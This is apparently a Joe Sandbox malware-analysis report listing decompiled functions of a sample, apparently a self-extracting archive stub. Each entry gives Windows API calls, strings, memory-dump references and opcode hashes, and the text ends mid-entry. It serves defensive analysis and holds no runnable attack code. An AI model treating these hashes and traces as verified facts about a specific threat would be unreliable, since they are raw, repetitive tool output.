Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 28d6b5fd73ac8426761f25cbb000f5c9aaa9c3083a195c6c62bb00f4043eba3e
Instruction ID: a8663e88b0079f40a373188902437d37d2464dd320d4279437ae141679cb3752
Opcode Fuzzy Hash: 28d6b5fd73ac8426761f25cbb000f5c9aaa9c3083a195c6c62bb00f4043eba3e
Instruction Fuzzy Hash: A551DE72600216AFFB35AE68CC41FBB77A9EB41760F19422AFC04D6140EB35DC4087B6

Function 00D7A335 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D70085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D700A0
Part of subcall function 00D70085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D6EB86,Crypt32.dll,00000000,00D6EC0A,?,?,00D6EBEC,?,?,?), ref: 00D700C2

OleInitialize.OLE32(00000000), ref: 00D7A34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D7A385
SHGetMalloc.SHELL32(00DA8430), ref: 00D7A38F

Strings

3To, xrefs: 00D7A366
riched20.dll, xrefs: 00D7A33D

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3To
API String ID: 3498096277-2168385784
Opcode ID: f4d63a59d54eac95918c38e36d8225a8a6f8eeec3b4880c760fc4aa2b2026390
Instruction ID: 0167060ecd46d655e43e76fd934871d0ad838b29c15c505dff419613055ce05e
Opcode Fuzzy Hash: f4d63a59d54eac95918c38e36d8225a8a6f8eeec3b4880c760fc4aa2b2026390
Instruction Fuzzy Hash: 7EF0E7B1D0020AABCB10AF99D8499EFFBFCEB95711F00415AE814E2241DBB456098BB1

Function 00D699B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00D678AD,?,00000005,?,00000011), ref: 00D69A4C
GetLastError.KERNEL32(?,?,00D678AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D69A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00D678AD,?,00000005,?), ref: 00D69A8E
GetLastError.KERNEL32(?,?,00D678AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D69A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00D678AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D69ADB

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 140011471d6d4a92dcabe58b5259a879bfbb98bd4ca31fbfc3d3b55eb1dc86ec
Instruction ID: df45e0bcd9f7e63d8a1ad8fda4406a9905c334c66de7dbba18f551ffdc7cd03e
Opcode Fuzzy Hash: 140011471d6d4a92dcabe58b5259a879bfbb98bd4ca31fbfc3d3b55eb1dc86ec
Instruction Fuzzy Hash: D54122705447466FE7208F60CC45BDAFBD8AB05324F14071AF9E8962D1E7B5A988CBB1

Function 00D7AC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D7AC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D7AC96
IsDialogMessageW.USER32(0001042C,?), ref: 00D7ACAA
TranslateMessage.USER32(?), ref: 00D7ACB8
DispatchMessageW.USER32(?), ref: 00D7ACC2

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 7dcb53d5de2b028c2ffd02b3ac6fc86e3fea2b1dd26c90df73b06d788333bd8e
Instruction ID: 84aad7bb71731be651974bad1cd7dc3e2882380b60158fe5ea5572e3d443fbe6
Opcode Fuzzy Hash: 7dcb53d5de2b028c2ffd02b3ac6fc86e3fea2b1dd26c90df73b06d788333bd8e
Instruction Fuzzy Hash: F7F0BD7190132BAB8B209BE59C4CDEF7F6CEE453917448416F919D2210EA34D505D7B1

Function 00D7A2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00D7A2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 00D7A315

Part of subcall function 00D717AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00D6BB05,00000000,.exe,?,?,00000800,?,?,00D785DF,?), ref: 00D717C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00D7A305

Strings

EDIT, xrefs: 00D7A2E9, 00D7A2F4, 00D7A301

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: e61a940575b1765c20d71d8f2e1e31c95d31df49c0ecd9321fd1167fc05cfdaf
Instruction ID: 450c76c7b65f508e573e35fa707cee0da39d2cdaec8d93de3d55241c4f87a899
Opcode Fuzzy Hash: e61a940575b1765c20d71d8f2e1e31c95d31df49c0ecd9321fd1167fc05cfdaf
Instruction Fuzzy Hash: ADF08232A0132977E7205A689C05FEF776C9B86B50F484156BD49E2280E7609946C6F6

Function 00D7D287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D7D29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D7D2D9

Strings

sfxcmd, xrefs: 00D7D298
sfxpar, xrefs: 00D7D2D4

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 5bbd4c6c6074b4e05b97906f21c81c1ead82fe52daa24a67530db9d5c4f08a73
Instruction ID: 6be81edb2da2bd0adcc86ba0cb0132e21e29ad09cd58c478fbcefb8841b13282
Opcode Fuzzy Hash: 5bbd4c6c6074b4e05b97906f21c81c1ead82fe52daa24a67530db9d5c4f08a73
Instruction Fuzzy Hash: 7AF0A771801728A7CB212FD4AC0AABA7769EF09741B044562FC8CA6252E661CD41D7F5

Function 00D6984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00D6985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00D69876
GetLastError.KERNEL32 ref: 00D698A8
GetLastError.KERNEL32 ref: 00D698C7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 66426cad1fed90740277ced9bbe1177b0510bfcab8ffcdc3ed2bea5b74d336e7
Instruction ID: 263790307c04b6f6f5ace4e8d251986082cbaf7095d447ed8906b98d66307d76
Opcode Fuzzy Hash: 66426cad1fed90740277ced9bbe1177b0510bfcab8ffcdc3ed2bea5b74d336e7
Instruction Fuzzy Hash: FD117C30900204EBDB209F51C824A79B7ACEB06771F14862AF86AC7690D735DE489F71

Function 00D8A4F4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00D83713,00000000,00000000,?,00D8A49B,00D83713,00000000,00000000,00000000,?,00D8A698,00000006,FlsSetValue), ref: 00D8A526
GetLastError.KERNEL32(?,00D8A49B,00D83713,00000000,00000000,00000000,?,00D8A698,00000006,FlsSetValue,00D97348,00D97350,00000000,00000364,?,00D89077), ref: 00D8A532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00D8A49B,00D83713,00000000,00000000,00000000,?,00D8A698,00000006,FlsSetValue,00D97348,00D97350,00000000), ref: 00D8A540

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: a40082cc75fbf694c2a78ef77500e18ddc5ee9da1b403ea81b4063006d29df47
Instruction ID: fd72f8855906b274747b9be08f6249ce49ef17ff3ef7b2a733773c4c5f8bca52
Opcode Fuzzy Hash: a40082cc75fbf694c2a78ef77500e18ddc5ee9da1b403ea81b4063006d29df47
Instruction Fuzzy Hash: FB01F736611323ABD7219A6C9C44E567B58AF45BA17140563F90AD3240D731DD40C7F1

Function 00D69F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,00D6CC94,00000001,?,?,?,00000000,00D74ECD,?,?,?), ref: 00D69F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00D74ECD,?,?,?,?,?,00D74972,?), ref: 00D69F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,00D6CC94,00000001,?,?), ref: 00D69FB8

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: d9fd5acbcdd46ee6231eab1069dfd4921a6ae686e3728a03e6e162b98ae21a0b
Instruction ID: 12af2403f7002c85b895a180580d12a5de5ef5a30ba585761da6cc78523c641f
Opcode Fuzzy Hash: d9fd5acbcdd46ee6231eab1069dfd4921a6ae686e3728a03e6e162b98ae21a0b
Instruction Fuzzy Hash: 5331E2712083059BDF208F28D858B6AFBA8EF91710F084559F885EB285C775DD49CBB2

Function 00D6A207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A261
GetLastError.KERNEL32(?,?,?,?,00D6A113,?,00000001,00000000,?,?), ref: 00D6A27E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: ac87daaba52d9484a9168f30c79cf921b5cfd1ced3c5f6817ad0ffde3dbbbe50
Instruction ID: 0dc2b45a7e1c8ba7e4dbbc58a7079684b7982b911762bbac5a1e691b3a1100a4
Opcode Fuzzy Hash: ac87daaba52d9484a9168f30c79cf921b5cfd1ced3c5f6817ad0ffde3dbbbe50
Instruction Fuzzy Hash: 320180311C121467DB229BAD4C55BE97348AF1F781F085452F885F9051DB66CA818EBB

Function 00D8AFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00D8B019

Strings

, xrefs: 00D8B05E

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: b65ffa38c60caf79b5d2aa59dcb8792b28ed9a055f4d3b1644cc5f8e3c89c1a6
Instruction ID: efc2a2577bc85becf809975fb62375f38ac332557f072bb3d8718d53a17d3306
Opcode Fuzzy Hash: b65ffa38c60caf79b5d2aa59dcb8792b28ed9a055f4d3b1644cc5f8e3c89c1a6
Instruction Fuzzy Hash: D84108B050434C9EDF219E68CC95BF7BBA9DB46714F1804EEE59A87142D3359A45CF30

Function 00D8A72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 00D8A79D

Strings

LCMapStringEx, xrefs: 00D8A73D, 00D8A747

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 18353d5558c65f131b83ac1c2d28c8429eea990b04597cf1ab4eb9477330e3a9
Instruction ID: 39b0965649d4ae003e3623ff35d79058c3efd3bea4244900fedbc0c9343a976a
Opcode Fuzzy Hash: 18353d5558c65f131b83ac1c2d28c8429eea990b04597cf1ab4eb9477330e3a9
Instruction Fuzzy Hash: 4001D332544209BBDF02AFA4DC05DAE3F66EF08750F054156FE2866160CA729931BBA1

Function 00D8A6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00D89D2F), ref: 00D8A715

Strings

InitializeCriticalSectionEx, xrefs: 00D8A6E5

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 40d72540f604258fd5f14e548e4e8d0b53063de3f31c4a9615ee891cb6375390
Instruction ID: fb5affb736b094afc0e764d52aebb80430226f79c784799533120b474e5418fb
Opcode Fuzzy Hash: 40d72540f604258fd5f14e548e4e8d0b53063de3f31c4a9615ee891cb6375390
Instruction Fuzzy Hash: 1CF0E23164531CBBCF016F68DC06CAE7F61EF08720B008166FC196A260DA728E20FBB1

Function 00D8A56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00D8A5AE

Strings

FlsAlloc, xrefs: 00D8A58A

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: a4ac7f654a46f667d4d886164f8554f223f0ea55f38885b9b48e2aa4f2b1997e
Instruction ID: cd75ad416ae9b36668252b269a8ddc1395b80164c5a0ea9486cc38c82e02e7a7
Opcode Fuzzy Hash: a4ac7f654a46f667d4d886164f8554f223f0ea55f38885b9b48e2aa4f2b1997e
Instruction Fuzzy Hash: EBE05530B453287F9B11BB689C028AEBB60CB15B10B410297FC08A7350DE704E0093FA

Function 00D8329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00D832AF

Strings

FlsAlloc, xrefs: 00D8329E, 00D832A8

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: c5fd7a5e2a1196436eb616f5e1c77c3e647e8123e6dd38b051c86641ca1595ee
Instruction ID: 4b57b82537357f625dc38da5393c918a9f422d09aa7eea72e07c94c038c15566
Opcode Fuzzy Hash: c5fd7a5e2a1196436eb616f5e1c77c3e647e8123e6dd38b051c86641ca1595ee
Instruction Fuzzy Hash: 5ED02B227807347E9A1232C47C03AAEBE04C701FB5F4501F2FF0C6A246D571450003F9

Function 00D7E1F9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D7E20B

Part of subcall function 00D7DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D7DFD6
Part of subcall function 00D7DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D7DFE7

Strings

3To, xrefs: 00D7E1F9, 00D7E205

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DC1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633847058.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_5P9EdUgv5r.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3To
API String ID: 1269201914-245939750
Opcode ID: cef9416160f9c2f7e40cb0cb9880023f0280aca8e69f3be06865ec40e29b7272
Instruction ID: 170700ec1c2ed0b0a8fc870c739cbf6857911aeea6bd4cc45b7aae29dc580525
Opcode Fuzzy Hash: cef9416160f9c2f7e40cb0cb9880023f0280aca8e69f3be06865ec40e29b7272
Instruction Fuzzy Hash: A2B012D126E0027D330C11007F07E36032CCCC0B60330C01FF10ED4081B5808D095032

Function 00D8B350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00D8AF1B: GetOEMCP.KERNEL32(00000000,?,?,00D8B1A5,?), ref: 00D8AF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00D8B1EA,?,00000000), ref: 00D8B3C4
GetCPInfo.KERNEL32(00000000,00D8B1EA,?,?,?,00D8B1EA,?,00000000), ref: 00D8B3D7

Memory Dump Source

Source File: 00000000.00000002.1633751414.0000000000D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D60000, based on PE: true

Associated: 00000000.00000002.1633739832.0000000000D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633798451.0000000000D93000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1633810982.0000000000DA4000.00000004.00000001.01000000.00000003.sdmpDownload File
